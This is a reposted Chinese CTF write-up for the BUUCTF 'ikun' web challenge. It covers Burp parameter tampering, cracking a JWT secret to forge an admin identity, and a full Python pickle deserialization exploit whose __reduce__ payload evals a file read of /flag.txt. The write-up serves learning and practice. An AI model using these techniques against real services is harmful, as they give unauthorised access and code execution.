BUUCTF-web ikun(Python 反序列化)


正如本題所說,腦洞有點大。考點還很多,不過最核心的還是python的pickle反序列化漏洞

題目中暗示了要6級號,找了很多頁都沒看到,於是寫了腳本

在第180頁有6級號,但是價格出奇的高,明顯買不起。bp抓包發現有疑似折扣的參數,把值改低后提交,重定向到了后台頁面,但是需要admin才行。

這時一早就發現的JWT便派上了用場。在https://jwt.io/在線解析jwt。data段有我們的用戶名,可以偽造成admin,但還需要有密鑰。

可以使用工具破解。詳情見:https://github.com/brendan-rius/c-jwt-cracker

破解出的密碼是”1Kun“。把它寫入下圖箭頭所示位置並偽造身份后通過bp發送。

 

發現源碼。下載后在settings.py中發現unicode編碼的hint

提示說有后門。在Admin.py中發現了序列化操作

接下來就是盲區了。。。。。

參考了很多資料和大佬的wp,

原理其實和php的差不多。只不過python的序列化不夠直觀,看起來費勁。

 

 become參數存在反序列化漏洞,參數可控.。pickle.loads()進行了反序列化操作。我們利用的是__reduce__魔術方法。反序列化后產生的對象會在結束時觸發reduce從而執行我們構造的代碼。

這里采用通用的exp寫法

#!/usr/bin/python
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

 運行后得到payload,把箭頭指向的hidden屬性刪除。這樣就能利用網頁隱藏的post框提交,將become替換成payload。

 

參考博客:https://xz.aliyun.com/t/2289

https://www.freebuf.com/column/187567.html

https://www.sohu.com/a/274879579_729271


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM